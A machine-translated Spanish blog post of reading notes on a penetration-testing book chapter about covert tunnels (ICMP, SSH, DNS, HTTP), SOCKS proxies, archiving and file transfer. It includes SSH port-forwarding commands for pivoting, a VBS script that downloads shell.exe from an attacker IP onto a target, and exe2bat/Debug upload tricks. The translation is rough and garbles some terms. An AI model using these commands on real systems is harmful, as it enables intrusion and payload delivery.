"Ataque y defensa de la seguridad de la intranet: una guía práctica para las pruebas de penetración" Notas de lectura (3): Tecnología de túnel de comunicación oculta

prefacio

Este artículo continúa leyendo y aprendiendo "Ataque y defensa de seguridad de intranet: guía práctica de prueba de penetración", que es el tercer capítulo de la tecnología de túnel de comunicación oculta, que presenta en detalle el uso de túneles IPv6, túneles ICMP, túneles HTTPS, túneles SSH, Túneles DNS y otros túneles encriptados, y explicar las herramientas comunes de proxy SOCKS y los métodos de carga/descarga de intranet.

El conocimiento relevante también se ha estudiado y clasificado antes, consulte: Intranet Penetration Series: Intranet Penetration (Tunnel) Learning

1. Conocimientos básicos

1. Información general

El túnel de comunicación oculto de la red es la herramienta principal para la transferencia de información con el host de destino

Cuando los sistemas de defensa interceptan una gran cantidad de comunicaciones TCP y UDP, los atacantes explotan protocolos que son difíciles de desactivar, como DNS e ICMP, y se convierten en el principal canal para que los atacantes controlen los túneles.

Túneles de uso común:

  • Capa de red: túnel IPv6, túnel ICMP, túnel GRE
  • Capa de transporte: túnel TCP, túnel UDP, reenvío de puerto regular
  • Capa de aplicación: túnel SSH, túnel HTTP, túnel HTTPS, túnel DNS

2. Determinar la conectividad de la intranet

El método de juicio es el siguiente:

//ICMP协议
ping www.baidu.com

//TCP协议
nc -zv 192.168.1.10 80

//HTTP协议
curl www.baidu.com:80
//curl的代理模式
curl -x proxy-ip:port www.baidu.com

//DNS协议
//windows下的nslookup
mslookup www.baidu.com vps-ip
//linux下的dig
dig @vps-ip www.baidu.com

2. Tecnología de tunelización de capa de red

1. Túnel IPv6

Un túnel IPv6 puede usar IPv4 como portador de túnel y encapsular todo el paquete IPv6 en un paquete de datos IPv4.

inserte la descripción de la imagen aquí

Varias herramientas:

2. Túnel ICMP

En un protocolo de comunicación general, si dos dispositivos quieren comunicarse, definitivamente se requiere un puerto abierto, pero no se requiere bajo el protocolo ICMP.

Ver también: Serie de penetración de intranet: túnel ICMP del túnel de intranet

3. Tecnología de tunelización de la capa de transporte

Principalmente túneles TCP, túneles UDP y reenvío de puertos regular, la mayoría de los cuales serán bloqueados

Las herramientas se pueden encontrar en: Intranet Penetration Series: Intranet Penetration (Tunnel) Learning

4. Tecnología de tunelización de la capa de aplicación

1. Túnel SSH

Casi todos los servidores y dispositivos de red Linux/UNIX admiten el protocolo SSH. El protocolo SSH puede pasar a través de firewalls y dispositivos fronterizos, por lo que a menudo los atacantes lo explotan.

//本地转发
ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标IP):3389(目标端口)
[email protected](跳板机)

//远程转发
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标IP):3389(目标端口)
[email protected]

inserte la descripción de la imagen aquí

-L reenvío de puerto local, -R reenvío de puerto remoto, -D reenvío dinámico (proxy SOCKS)**

defensa:

  • lista blanca de direcciones IP
  • IP de solicitud de restricción de ACL
  • Configure el sistema para usar la administración fuera de banda por completo

2. Túnel HTTP/HTTPS

reGeorg, meterpreter, tunna, etc. son todos famosos

3. Túnel DNS

El DNS es un servicio esencial y los paquetes DNS tienen la capacidad de penetrar los cortafuegos.

Desde el punto de vista del protocolo DNS, es solo para consultar un nombre de dominio específico una y otra vez y obtener el resultado de la resolución, pero el problema esencial es que el resultado de retorno esperado debe ser una dirección IP, pero el retorno real es un cadena arbitraria, incluida la instrucción C2 cifrada.

La esencia de la tunelización DNS es encapsular otros protocolos en el protocolo DNS para la transmisión.

Ver: Serie de Penetración de Intranet: Túnel DNS de Túnel de Intranet

5. Proxy CALCETINES

SOCKS es la abreviatura de "SOCKETS"

  • SOCKS4 solo admite el protocolo TCP
  • SOCKS5 no solo admite el protocolo TCP/UDP, sino que también admite varios mecanismos de autenticación

El proxy SOCKS está en el nivel inferior y está en la capa de sesión, mientras que el proxy HTTP está en la capa de aplicación. Por lo tanto, un proxy SOCKS puede representar todas las conexiones de los clientes, mientras que un proxy HTTP solo puede representar a los clientes que usan el protocolo HTTP. Los proxies SOCKS son más rápidos porque son de nivel inferior y no necesitan lidiar con los detalles de los protocolos de nivel superior.

SOCKET se llama "socket", que se usa para describir la dirección IP y el puerto. Es un identificador de una cadena de comunicación y se puede usar para realizar la comunicación entre diferentes computadoras. Su esencia es una interfaz de programación (API), que es una IP encapsulación SOCKS es un protocolo proxy, la última versión es SOCKS5, el llamado proxy significa que puedes acceder a la red indirectamente a través de él, lo que equivale a una estación de tránsito. Diferencia: SOCKET es una API, una herramienta que te permite establecer conexiones de red. SOCKS es un protocolo, un conjunto de estructuras de datos.

En la actualidad, existen cuatro protocolos de tunelización VPN principales: el protocolo de tunelización punto a punto PPTP, el protocolo de tunelización de segunda capa L2TP, el protocolo de tunelización de la capa de red IPSec y el protocolo SOCKS v5. Entre ellos, PPTP y L2TP funcionan en la capa de enlace de datos, IPSec funciona en la capa de red y SOCKS v5 funciona en la capa de sesión.

por ejemplo, EarthWorm (ew, nueva versión Termite), reGeorg, sSocks, SocksCap64 (SSTap), Proxifier, ProxyChains

6. Datos comprimidos

1, rar.exe

Empaquete todo el contenido en el directorio E:\webs\ en 1.rar y colóquelo en el directorio E:\webs\

rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\

Extraiga E:\webs\1.rar al directorio raíz actual

rar.exe e E:\webs\1.rar

Comprima todos los archivos y carpetas en el directorio API del disco E por volumen y establezca cada volumen en 20M

rar.exe a -m0 -r -v20m E:\test.rar E:\API

Descomprima E:\test.part01.rar en el directorio x1 de la unidad E

rar.exe x E:\test.part01.rar E:\x1

2, 7 cremalleras

Empaquete todo el contenido en el directorio E:\webs\ en 1.7z y colóquelo en el directorio E:\webs\

7z.exe a -k -r -p12345 E:\webs\1.7z E:\webs\

Descomprima E:\webs\1.7z en el directorio raíz actual

7z.exe e -p12345 E:\webs\1.7z

Comprima todos los archivos y carpetas en el directorio API del disco E por volumen y establezca cada volumen en 20M

7z.exe -r -vlm -padmin a E:\test.7z E:\API

Descomprima E:\test.part01.7z en el directorio x1 de la unidad E

7z.exe x -padmin E:\test.7z.001 -oE:\x1

Siete, subir y descargar

1, EBV

Ejecute el siguiente comando para descargar el archivo shell.exe en el host de destino

Cscript download.vbs

código de descarga.vbs:

Set Post=CreateObject("Msxml2.XMLHTTP")
Set shell = CreateObject("Wscript.Shell")
post.Open "GET","http://IP/shell.exe",0
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(post.responseBody)
aGet.SaveToFile "C:\test\shell.exe",2

2. Carga de depuración

Primero convierta el archivo EXE que se cargará en formato hexadecimal HEX, luego escriba el código HEX en el archivo a través del comando echo y finalmente use la función Depurar para compilar y restaurar el código HEX en un archivo EXE

En KaliLlnux, la herramienta exe2bat.exe se encuentra en el directorio /usr/share/windows-binaries, ejecute

wine exe2bat.exe ew.exe ew.txt

Convertir ew.exe a ew.txt

Luego, use la función de depuración del servidor de destino para restaurar el código HEX en un archivo EXE
y luego use el comando echo para copiar el código en ew.txt al entorno de línea de comandos del sistema de destino.

3. Otro

También puedes subir archivos con estos:

  • Nishang: use Nishang para convertir el archivo EXE cargado a formato hexadecimal, luego use el comando echo para acceder al servidor de destino y finalmente use el script Download_Execute para descargar el archivo de texto y convertirlo en un archivo EXE
  • bitsadmm: Recomendado para su uso en hosts Windows7 y Windows8, tenga en cuenta que no es compatible con los protocolos HTTPS y FTP, ni es compatible con WindowsXP/Sever2003 y versiones anteriores
  • PowerShellDescargar

Epílogo

Este capítulo trata principalmente sobre túneles de comunicación ocultos. Dado que esta parte del conocimiento se ha aprendido antes, no se registrará en detalle aquí. Para más detalles, consulte otros artículos relacionados en el blog.

Supongo que te gusta

Origin blog.csdn.net/weixin_44604541/article/details/124060260
Recomendado
Clasificación